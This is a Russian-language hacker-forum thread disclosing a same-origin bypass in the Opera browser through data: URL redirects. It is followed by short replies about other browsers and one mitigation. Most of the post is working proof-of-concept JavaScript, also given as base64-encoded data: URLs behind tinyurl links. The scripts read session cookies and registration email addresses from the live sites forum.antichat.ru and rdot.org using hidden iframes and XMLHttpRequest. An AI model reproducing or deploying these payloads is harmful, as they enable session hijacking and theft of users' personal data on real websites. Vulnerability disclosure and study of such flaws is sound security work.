follow Браузер Opera позволяет выполнить XSS-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты. Уязвимы версии для Opera для Windows, Mac и Linux до 12.02 включительно (последняя версия на сегодняшний день). На версиях до 9.50 проверка не проводилась. Советую предварительно ознакомится со следующей информацией: http://ru.wikipedia.org/wiki/Правило_ограничения_домена http://ru.wikipedia.org/wiki/Data:_URL В опере при перенаправлении с сайта на data:URL через HTTP-заголовок Location свойство document.domain имеет значение последнего перенаправляющего сайта. Пример: PHP: <script>alert(document.domain)</script> PHP: data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+ Ссылка, сокращенная через сервис tinyurl.com: http://tinyurl.com/antichat-test1 При переходе по ссылке мы увидим алерт "tinyurl.com". Если нажать Ctrl+R для повтора запроса, в алерте будет уже другой домен - тот, с которого осуществлен переход на ссылку tinyurl.com/antichat-test1 При нажатии Ctrl+R происходит не обновление текущей страницы, а полное повторение запроса. То же самое действие можно выполнить с помощью JS-метода location.reload() Пример: PHP: <script> if(document.domain == 'tinyurl.com') location.reload(); else alert(document.domain); </script> PHP: data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZWxzZXthbGVydChkb2N1bWVudC5kb21haW4pfTwvc2NyaXB0Pg== Ссылка: http://tinyurl.com/antichat-test2 Теперь в алерте будет домен, с которого осуществлялся переход. Согласно same origin policy это дает доступ к данным, находящимся на том же домене. Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку. Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link. PoC: 1) Читаем куки forum.antichat.ru: PHP: <script> if(document.domain == 'tinyurl.com') location.reload(); function xss() { alert(document.frames[0].document.cookie); } function ifrAdd() { var ifr = document.createElement('iframe'); ifr.style = 'width:0px;height:0px;visibility:hidden'; ifr.src = 'http'; ifr.src += document.referrer.length ? '' : 's'; ifr.src += '://forum.antichat.ru/css/a.css'; ifr.onload = function(){xss()}; document.body.appendChild(ifr); } </script> <body onload=ifrAdd()> PHP: data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cCc7aS5zcmMrPWRvY3VtZW50LnJlZmVycmVyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5hbnRpY2hhdC5ydS9jc3MvYS5jc3MnO2kub25sb2FkPWZ1bmN0aW9uKCl7YSgpfTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGkpfTwvc2NyaXB0Pjxib2R5IG9ubG9hZD1iKCk+ Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru): http://tinyurl.com/antichat-cookie 2) Читаем куки rdot.org PHP: <script> if(document.domain == 'tinyurl.com') location.reload(); function xss() { alert(document.frames[0].document.cookie); } function ifrAdd() { var ifr = document.createElement('iframe'); ifr.style = 'width:0px;height:0px;visibility:hidden'; ifr.src = 'https://rdot.org/forum/clientscript/vbulletin_read_marker.js'; ifr.onload = function(){xss()}; document.body.appendChild(ifr); } </script> <body onload=ifrAdd()> PHP: data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cHM6Ly9yZG90Lm9yZy9mb3J1bS9jbGllbnRzY3JpcHQvdmJ1bGxldGluX3JlYWRfbWFya2VyLmpzJztpLm9ubG9hZD1mdW5jdGlvbigpe2EoKX07ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YigpPg== Ссылка (пример работает при переходе по ссылке с домена rdot.org): http://tinyurl.com/rdot-cookie 3) Читаем регистрационное мыло forum.antichat.ru PHP: <script> if(document.domain == 'tinyurl.com') location.reload(); function getMail() { var x = new XMLHttpRequest; x.open('GET', 'http' + (document.referrer.length ? '' : 's') + '://forum.antichat.ru/profile.php?do=editpassword', false); x.send(null); alert(x.responseText.match(/name="email" value="(.+?)"/)[1]); } </script> <body onload=getMail()> PHP: data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHAnKyhkb2N1bWVudC5yZWZlcnJlci5sZW5ndGggPyAnJyA6ICdzJykrJzovL2ZvcnVtLmFudGljaGF0LnJ1L3Byb2ZpbGUucGhwP2RvPWVkaXRwYXNzd29yZCcsZmFsc2UpO3guc2VuZChudWxsKTthbGVydCh4LnJlc3BvbnNlVGV4dC5tYXRjaCgvbmFtZT0iZW1haWwiIHZhbHVlPSIoLis/KSIvKVsxXSl9PC9zY3JpcHQ+PGJvZHkgb25sb2FkPWEoKT4= Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru): http://tinyurl.com/antichat-mail 4) Читаем регистрационное мыло rdot.org PHP: <script> if(document.domain == 'tinyurl.com') location.reload(); function getMail() { var x = new XMLHttpRequest; x.open('GET', 'https://rdot.org/forum/profile.php?do=editpassword', false); x.send(null); alert(x.responseText.match(/name="email" value="(.+?)"/)[1]); } </script> <body onload=getMail()> PHP: data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHBzOi8vcmRvdC5vcmcvZm9ydW0vcHJvZmlsZS5waHA/ZG89ZWRpdHBhc3N3b3JkJyxmYWxzZSk7eC5zZW5kKG51bGwpO2FsZXJ0KHgucmVzcG9uc2VUZXh0Lm1hdGNoKC9uYW1lPSJlbWFpbCIgdmFsdWU9IiguKz8pIi8pWzFdKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YSgpPg== Ссылка (пример работает при переходе по ссылке с домена rdot.org): http://tinyurl.com/rdot-mail тема на rdot.org
VY_CMa, в ФФ не работает при редириекте с веб-сайта на data. Большинство сайтов запрещают использовать data в ссылках, но разрешают ссылки на http(s).
M_script, сайты сайтами конечно, но кусок уязвимости остается (domain сохраняется), а это уже что-то. Спасибо.
M_script, большое спасибо. Безумно приятно что есть такие люди как Вы. Читая о подобных достижениях начинаешь задумываться о том, что далеко не всё безупречно в этом мире.
Два пальца обоссать. Менять юрлы в линках. Например: po6olkudahotel.site.ru/tinyurl.com/blabla Чтобы редиректил и не взаимодействовал с основным сайтом, не хранил кук и.т.д.
Для хрома способа никто не нашел ли?Пробовал через фрейм на своем сервере но там вылезал пустой алерт